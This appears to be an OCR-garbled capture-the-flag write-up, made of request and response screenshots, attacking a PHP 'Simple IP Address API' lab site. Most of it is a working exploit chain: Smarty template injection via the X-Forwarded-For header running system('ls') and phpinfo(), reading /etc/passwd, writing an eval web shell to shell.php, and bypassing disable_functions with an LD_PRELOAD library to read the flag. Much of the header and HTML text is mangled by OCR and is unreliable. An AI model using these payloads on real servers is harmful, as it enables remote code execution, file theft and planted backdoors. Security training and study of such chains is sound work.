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220.249,52,132:25238/

I P Current IP:58.196.131.97

A Simple Public IP Address API
Why use?

Do you need to get the public IP address ? Do you have the requirements to obtain the servers’ public IP address? Whatever the reason,sometimes a
public IP address API are useful

You should use this because:

- You can initiate requests without any limit.
- Does not record the visitor information.

APl Usage

- API URI Type Sample Output
get IP http://220.249.52.133:35238/api text/html 8.8.8.8
get XFF(X-Forwarded-For) http://226.249.52.133:35238/xFf text/html 3.8.8.8

Connection

Request-Header

GET /[ HTTR/2.8

Host: www.ip.la

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh-TW;g=8.9,zh;q=8.8

Cache-Control: max-age=0

Dnt: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Windows NT 10.@; Win64; x64) AppleWebKit/537.36 (KMTML, like Gecko) Chrome/74.8.3729.131 Safari/537.36
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oY 7 BTIp 1.1 a FTIE 1.1 200 oF
Host: 220.249.52.133:35238 - . 16 Oot 2020 11:49:56 QT
Taex-Agent: Mozalla/5.0 (X1ll; Lanws %86_647 2v:68.0) Gecho /20100101 Fixefou:/68.0 7 Apache/2.4.13 (Tbuntu)
Accept: teck hbml, 1 & /shtmltesl 1 &- nLiggm0. 9. /% gm0 8 “Ber: PEP/7.3.24- lrabuntuls . 04, 1eded. susy . ceg+l
Aceept -Language: sh-CM.ehjg=0.8.sh-TW eg=0.7. eh-Niqe0. 5. en U0 jgqu0. 3. enjqed .2 Vi Aocept -Enced iy
Zccept -Encoding: gaip, deflake Conk ent - Length: 3306
Connectiom: cloce Connection: close
Cookie: sessiom=hSelddT4-320k-47e7-9daf- 15€LlablT016d; Conkt ent - Type: teskt /html; charset=UTF-3
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<kitle*A Simple IF Adaress API< title>

Upgrade- Ing scure-Eequesto: 1 <link rel=*styleshest® href=*_/cos bootstrap.min. css>
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“div style="floak:left;*>
“hl>IP</hl>
“hi elass="hidden-1s hidden -

e

A Fimple Public IP Radress API</hi™

“div skyles™fleat :right imasgin.bes: 3pe TiCurrme IFid

</div>

KBcurrent IPKIEZE R T 49
] LA B X B AEAESSTI

FEIREA

{$smarty.version}



Request

ﬂ Params Headers T Hex 1

Response

| Raw | Headers | Hex | HTML [ Render |
HTTE 1.1 200 oF

Eont 220 249 52 133:35238 : Date: Fra. 16 Oct 2020 11:53:16 @I
Towx-Agent: Mosailla/5.0 Cﬂ.l: Lanws: x86_64: rv 53 0 Gecks/ 20100101 Faxefou/68.0 Server: Apache 2.4.18 (Tbuntu)
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Accept -Language: nncmua.q-onzh"wq-nvmmq-os-nu:q-nsmq-oz Vary: Accept -Encoding
Ascept -Encoding: gaip. deflake Conk ent -Length: 3910
Connection: close Connection: close
Cookaie: session=hSeldd?4-310k-47e7-9daf - 15£ labl70L16d; Cont ent -Type: tesd html: charcet=UTF-8
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Tser-Agent: Mosalla/5.0 (Kl].: Lumx w6647 rv 63 0) Gecko/ 20100101 P::tiws 68.0
Aocept: best hbsl. 1 mldme=l semlpggm0 9. % %) .8

Aseept -Language: sh-CH. lhrq-O n =h-TWig=0_7. m m—,q-o E.en-Udigs0. 3. uarq-O 2

Accept -Enccding: gaip. deflakte

Comnection: close

Cookie: session=b5eldd?4-310k-47e7-9daf- 15f1lakl7016d;
PHPEESSID=da7 8 Thdf- 8Tkl -420d - adSo - E£03e0EalT 3E;
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Response
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FTIE L1 Z00 o

E.ont 320 249 52 133:352338 : D;i‘:e [-"rx, 16 Oct 2020 12:12:05 G4
Tsex-Agent: Mosalla/5.0 txll; Luu.uc n%_ﬁ‘h T 63 0 Gecko/ /20100101 Farefou/68.0 Sexver: Apache/2.4.18 (Thunktu)
Aocept: ek ksl 1 i/ =l senlicrm0. 9. ¥/ jegml . HePevered Bo: PEP/T. 2. 04 Lbubuntulé . 04 . Lédel . s, aagdl
Accept -Language: sh-CM. lhrq-o 8. ﬂh ST im0 . 7. ua l‘(rq-o S.en U0 gm0 3. ennjgqmd.2 Vary: Aoeept - Bneesd iy
Aocept -Encoding: gmip. deflake Comkent -Length: 3504
Connection: close Comnectlon: olose
Cookaie: sessaon=hS5eldd4-318b-47e7-9daf- 15€Llabl701l64d; Comtent - Type: texk html; charset=UTF-§
PEPFESFID=dnT8Thdf - 8Tk - 4204 - adSc - SE0 30 EalT3E:
cosmediaty idw”2]1:0]10: 1602842497 |12 y_adl | 8 <My 1 LS 10 1S£44 758148 LES4 “hitxl langw”en”” head”“meta http: equive Cont ent -Tipe” contentw et htnl; charcetwUTF-537>
GLoﬂau!oﬁomodf?nlm.bnei' “title”A Bi.lpln IP Adaress API</tikle>
Upguade- Ingscurs - Eeques <link rel="styleshest® href=". cse /bootstrap.min. ces®>
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“div elases” e
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“hl=IP</hl>
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Request Response
H Params ]Headers T Hex } [ Raw I Headers I Hex I HTML M
I .
Eont 220 349 52 133:35238 -
Taex-Agent: Mozalla/5.0 r(l.:l.: Luum xaﬁ_ﬁh ri68.0) Geoko /20100001 Farefoos/ 68.0
Aocept: tedt html. 1 /ahtm Licat ion semlpge0 . 9. %/ ® jggml . E
Accept - e: mh-CN. ua.q-o 8.ah- .-.q-n Foeh- MG g=0. 5. en-U0ig=0.3. enig=0.2 ! t 1P
Aocept -Encoding: gazip. deflake ntiFk
Connection: close
Coolae: session=hSeldd?4-319k-47e7 -ddaf - L5ELlak1lT0Ll6dr
PHPEESf ID=cla 78 Thdf - 8Tk - 420d - adSc - SE03e0fal73E,
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{if system('ls"')}{/if}
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Host: 220.249.52.133:35238

Taer-Agent: Mosilla/5.0 G-Cll Lm\nf x35_§4: v 63 0) Gecke /20100101 Pl!"f‘w‘ 68.0
Accept: bk html.appl ml4e=l reg0. 9.7/,

Aoceph - o: Eh- cm,m.q-o n,n. Wiem0 7. el NI g0 5. em =T yegs0 . J.mrq-o 2

Aocept -Encoding: guip. deflabe
Connection: close
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{php}phpinfo();{/php}
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Dat Fra. 16 Oct 2020 12:10:41 GMT

Server: Apache/2.4.15 (Thunku)

HoPowered By: PEP/7.2. 3 Lhubuntuls . 04, Ltdel. susy cxgtl
Vary: Aseept -Eneed
Conkent-Length: 3904
Connectiom: close
Content -Type: tedk htmls

charset=UTF-§

“Dtxl lange” en” > head> meta http: equive™Content - Type”
<kirle*A Simple IP Address API</ bikle>
<lank rel="styleshest® href="_/coo/bootetrap.min.ces®?
</head>
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“div olase="contain
“div elassm”row
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“hl*IP</hl>
“h2 elass="hidden-1z hidden-sm">A §imple Public IP Address API</hl>
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Becept: ke hesl 1
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Upgrade- Ingecure -Eeques

Request

Response
H Params Headers I Hex ] [ Raw H Hex l
¥
E::t A:E:t“:h:il:}ijsaznr;ua Jeimwc n96841 avi69.0) Gecko/I0100101 Tixeton/69.0 - ! .\ Value
::xthgwlm:; ;:lsv ;:i};:: cmh-TH =0 7. ek MG gm0 5. en U0 je=0 . 3. enjge0. 2 . 500 'I’T[emal Sewer EITOI"
-::lg:iz':ﬁ;""nrﬁé%ﬁ%ﬁ%ﬂ::i;“m-qdsau.ns.wbu;ﬂmu.s.s.us!«msuauzst =% Fri’ 16 OCt 2020 11'55:53 GMT
U e & DT L ..Apache/2.4.18 (Ubuntu)
. PHP/7.2.24-1+ubuntul6.04.1+deb.sury.org+1
.0
..close
.. text/html; charset=UTF-8
{self::getStreamVariable("file:///etc/passwd")}
Response
H Params Headers I Hex } Raw Hex
a I
E:;;izﬂ;:;iiﬁjs??gu- Lime 86647 £v163.0) Geohe/20100101 Fireics/68.0 P |.|Value

Aeceph Language: =h-CH. shyg=d 8 =k TWig=0. 7. eh- n'x.-q-e B.en U0 gqu0. 3. enyqed.2
Zocept -Encoding: gzip. deflake
Connection: close
Cockaie: session=hSeldd?4-3210k-47e7 -3daf- 15£flablT0l6ds
PHPSESGID=dn78ThdE- 8Tk - 4204 - adSc - SE0 3w EnlT3Es
ceemediky_ide”3|1:0[10: 1602842457 |12 : commadity_id |8 MIVy e 468 £1a5 10LE£SE 2db L oB L5 £44 758 148 LESE
§LlestiseEed0laddd Tatioksl”
Up;mde Ingecure -Eequesto
- forwarded- for: {pelf: qltl'tmﬂ'mAblei‘[lle 1/ wta/ passad®) }

B Z A EERK

XULBEN T VEIE R E M () 5 {if) I
{B R systemAl BEME TR T
EE R phpinfo EHE KI5 B

.. 500 Intemal Server Error

.. Fri, 16 Oct 2020 11:57:55 GMT
..Apache/2.4.18 (Ubuntu)

.. PHP/7.2.24-1+ubuntul6.04.1+deb.sury.org+1
w0

..close

. text/html; charset=UTF-8

| disable_functions
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open_basedir

Jvar S iimil L imp

R PsystemRRBEE T
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I5FLD _PRELOAD% Hfdisable_functions

{if file_put_contents("/var/www/html/shell.php","<?php @eval($_POST['helter']);?>")}{/if}
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GEY rxff/ WTTR/L.L
Ront: SS0.24%. 53, 133: 39068
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Firefon/78.0
4§ Accept: text/html,application/xhtmlexml, application/sml:q=0.
ACCepL-Language! Th-OM. Tl qe0. 8 ah-TRIg=0.
i Accept-Enceding: gzip. deflate
Connection: clowe
Upgeade-Insacure-Fequests
X=Forwarded=For:
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Content-Lenguh: T
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/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so

bypass_disablefunc_x64.50 => /varrwwwit _H{FALTH
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example: hitp://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www /bypass_disablefunc_x64.s0

emdline: cat /flag > /tmp/tmpfile 2>&1

output:
flag{6f96cfdfe5ccc627cadf24b41725¢caad}

R Elflag
R
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